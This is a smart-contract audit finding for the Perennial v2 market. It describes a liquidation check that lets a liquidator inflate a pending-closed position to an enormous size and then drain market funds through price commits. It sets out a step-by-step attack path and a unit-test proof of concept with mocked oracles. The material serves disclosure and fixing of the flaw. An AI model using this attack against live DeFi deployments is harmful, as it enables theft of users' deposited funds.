Skip to content

Latest commit

 

History

History
131 lines (98 loc) · 5.9 KB

032.md

File metadata and controls

131 lines (98 loc) · 5.9 KB

Clumsy Pink Otter

High

When account is liquidated (protected), liquidator can increase account's position to any value up to 2**62 - 1 breaking all market accounting and stealing all market funds.

Summary

Previously, there was a check which enforced position to only decrease during liquidation. However, the check is gone and in the current code only the condition of pending.negative == latestPosition.magnitude:

  if (!context.pendingLocal.neg().eq(context.latestPositionLocal.magnitude())) return false; // no pending zero-cross, liquidate with full close

If account (before liquidation) is already in this state (for example, user has closed his position fully, but it's still pending - in this case pendingLocal.neg() will equal latestPositionLocal.magnitude() before the liquidation), then liquidator can increase position, and since it doesn't influence neither latest position nor pending negative (closing), it's allowed. Moreover, all collateral and position size checks are ignored during liquidation, so account position can be increased to any value, including max that can be stored: 2**62 - 1. If this is done, all market accounting is messed up as any slight price change will create huge profit or loss for makers and the liquidated account. This can be abused by attacker to steal all market funds.

Root Cause

Incorrect check when liquidating the account (lack of enforcement to only reduce the position): https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L121

Internal pre-conditions

None.

External pre-conditions

None.

Attack Path

  1. Attacker opens tiny long position from account1 with minimal collateral, and tiny maker position from account2.
  2. Attacker awaits for the position to become liquidatable. He can also force liquidation himself, as described in another issue (close position and withdraw collateral, then position becomes liquidatable), but this is not necessary, just makes it easier.
  3. Just before the position becomes liquidatable, attacker closes it fully (so that it's pending close), making pending.negative == latestPosition.magnitude
  4. Attacker liquidates his position, increasing it to 2**62 - 1 or any other huge amount.
  5. Attacker awaits commited price for the epoch of position increase (or commits himself).
  6. Immediately after that, attacker commits any other price different from the previous commit with timestamp 1 second after the previous commit.
  7. In the same transaction, attacker withdraws all market collateral either from account1 or account2 (depending on which account ends up in a huge profit due to price change). Result: Attacker steal all funds from the market.

Impact

All market funds are stolen by the Attacker.

PoC

Add to test/unit/Market.test.ts in the invariant violations context:

it('liquidator increases position', async () => {
  const riskParameter = { ...(await market.riskParameter()) }
  const riskParameterTakerFee = { ...riskParameter.takerFee }
  riskParameterTakerFee.linearFee = parse6decimal('0.003')
  riskParameter.takerFee = riskParameterTakerFee
  riskParameter.margin = parse6decimal('0.012')
  riskParameter.maintenance = parse6decimal('0.01')
  riskParameter.minMargin = parse6decimal('5')
  riskParameter.minMaintenance = parse6decimal('5')
  riskParameter.staleAfter = BigNumber.from(14400)
  await market.updateRiskParameter(riskParameter)

  const COLLATERAL_USER = parse6decimal('30')
  const POSITION_USER = parse6decimal('10')
  const POSITION2_USER = parse6decimal('100000000')

  dsu.transferFrom.whenCalledWith(user.address, market.address, COLLATERAL_USER.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userB.address, market.address, COLLATERAL.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userC.address, market.address, COLLATERAL_USER.mul(1e12)).returns(true)

  await market
    .connect(userB)
    ['update(address,uint256,uint256,uint256,int256,bool)'](
      userB.address,
      POSITION,
      0,
      0,
      COLLATERAL,
      false,
    )

  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, POSITION_USER, 0, COLLATERAL_USER, false)

    const ORACLE_VERSION_3b = {
      price: parse6decimal('100'),
      timestamp: TIMESTAMP + 7200,
      valid: true,
    }

  oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2, INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_3b.timestamp).returns([ORACLE_VERSION_3b, INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4, INITIALIZED_ORACLE_RECEIPT])
  oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_4.timestamp])

  // position opened. now close position (user is not liquidatable yet)
  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0, 0, false)

  var loc = await market.locals(user.address);
  console.log("user collateral before liquidation: " + loc.collateral);

  // version 3 is commited and user becomes liquidatable
  oracle.status.returns([ORACLE_VERSION_3b, ORACLE_VERSION_4.timestamp])        
  
  await market
    .connect(userC)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, POSITION2_USER, 0, 0, true)

  oracle.status.returns([ORACLE_VERSION_4, ORACLE_VERSION_5.timestamp])

  await settle(market, user)
  await settle(market, userB)
  await settle(market, userC)

  var loc = await market.locals(user.address);
  console.log("user collateral: " + loc.collateral);
  var pos = await market.positions(user.address);
  console.log("user pos: long = " + pos.long);
})

Console output:

user collateral before liquidation: 26310000
user collateral: -36899977657400
user pos: long = 100000000000000

Mitigation

Require the liquidation order to only decrease position.